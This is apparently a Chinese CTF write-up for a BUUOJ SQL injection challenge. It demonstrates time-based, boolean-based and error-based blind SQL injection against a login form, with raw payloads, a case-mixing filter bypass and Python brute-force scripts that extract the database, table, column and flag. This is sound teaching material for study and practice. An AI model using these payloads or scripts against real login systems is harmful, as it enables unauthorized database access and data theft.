一道題講懂SQL盲注 / [第一章 web入門]SQL注入-2
概述
本題是一個盲注題,可以基於布林也可以基於時間,如果不會的話可以根據提示在網址後面加一個?tips=1
降低難度成為一個基於報錯的盲注。
本題所有指令碼均用傻逼爆破,沒有用二分法,有興趣的大佬可以根據我提供的指令碼二次開發,可以的話在評論區給個連結(菜雞對二分法不是很懂,覺得寫指令碼的時間還不如等爆破完成)
解法一:基於時間
直接在前端進行注入的話沒有報錯回顯,所以需要抓個包然後開始測試。
測庫名
首先測試庫名長度
name=1'+or+if(length(database())=4,sleep(1),1)#&pass=asdasd
等了3秒,我們預設是sleep1秒,但是不知道為什麼睡的時間是輸入的3-4倍左右,不管了,反正長度是4(1-4慢慢試)
然後測試庫名:
- 這裡補充一個知識點,MySQL的substr函式
substr(a,b,c)
,a
處為需要擷取的字元,b
處為從第幾位開始,c
處為擷取幾位。比如substr(database(),2,1)
就是將資料庫名從第2位開始擷取1位,即取第二個字元(如果庫名為note
結果就是o
)
name=1'+or+if(substr(database(),1,1)='n',sleep(1),1)#&pass=asdasd
過了三秒才有回顯,於是判斷第一位是n
寫個指令碼
import requests import time l = 'qwertyuiopasdfghjklzxcvbnm-=+_' url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php' sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#" flag = '' length=4 for num in range(1,length+1): for i in l: data = { 'name' : sql %(num,i), 'pass' : 'asdasd' } # print(data) t = int(time.time()) r = requests.post(url = url , data=data) if int(time.time()) - t > 2 : flag += i print("flag:" , flag) break print(flag)
測試表名
注意,這裡‘select’被過濾了,可以使用雙寫繞過,也可以使用大小寫繞過
name=1'+or+if(substr((seLEct+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,1)='f',sleep(1),1)#&pass=asdasd
測第一位,結果是f
指令碼:
import requests import time l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{' url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php' #sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#" sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#" flag = '' for num in range(1,100): for i in l: data = { 'name' : sql %(num,i), 'pass' : 'asdasd' } # print(data) t = int(time.time()) r = requests.post(url = url , data=data) if int(time.time()) - t > 2 : flag += i print("flag:" , flag) break print("flag:", flag)
測試欄位名
name=1'+or+if(substr((seLEct+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g'),1,1)='f',sleep(1),1)#&pass=asdasd
第一位是f
,盲猜是flag
,但是還是測試一下:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,100):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("column_name:" , flag)
break
print("column_name:", flag)
欄位名是flag
cat flag
查flag長度
name=1'+or+if(length((seLEct+flag+from+fl4g))=26,sleep(3),1)#&pass=asdasd
長度為26。
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,27):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("flag:" , flag)
break
print("flag:", flag)
解法二:基於布林
分析
首先研究一下登入介面的報錯資訊
用admin登入,顯示密碼錯誤,用其他賬號登入,顯示賬號不存在。這樣子就說明了兩個點:
- 預設使用者是admin
- 使用者名稱欄可以判斷我們的輸入是
True
還是False
burp抓包併發送試試:
admin: {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
w4ke: {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
這裡都是頁面資訊,那麼我們可以根據這個資訊來進行判斷我們的輸入是否正確,構造payload:
name=1' or 1=1#&pass=asdasd
發現頁面返回的資訊是True,這裡解釋一下為什麼是True:
首先判斷username = '1' ⇒ False
然後判斷 1=1 ⇒ True
False or True ⇒ True
所以只要後面構造的是True,那麼整個語句就是True,然後開始構造第一個攻擊指令碼
測試庫名
name=1' or length(database())=4#&pass=asdasd
資料庫長度為4
name=1' or substr(database(),1,1)='n'#&pass=asdasd
庫名第一個字母是n
構造指令碼:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or substr(database(),%d,1)='%s'#"
flag = ''
for num in range(1,5):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
測表名
name=1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f'#&pass=asdasd
表的第一位是f
上指令碼
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
flag = ''
for num in range(1,8):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
測欄位名
name=1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),1,1)='f'#&pass=asdasd
欄位名的第一位也是f
上指令碼:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
flag = ''
for num in range(1,13):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
cat flag
name=1' or substr((seLEct flag from fl4g),1,1)='n'#&pass=asdasd
第一位是n
上指令碼:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.05)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
解法三:基於報錯
首先題目提示難度太大可以在url後面加一個?tips=1
,菜雞發現這邊可以顯示報錯資訊。
一般常用的報錯函式有extractvalue
,updatexml
等,用法差不多,這邊就用updatexml
吧。
爆庫名
name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&pass=asdasd
這裡直接爆出資料庫名
爆表名
name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=asdasd
爆欄位名
name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=asdasd
cat flag
name=1' and updatexml(1,concat(0x7e,(seLEct flag from fl4g),0x7e),1)#&pass=asdasd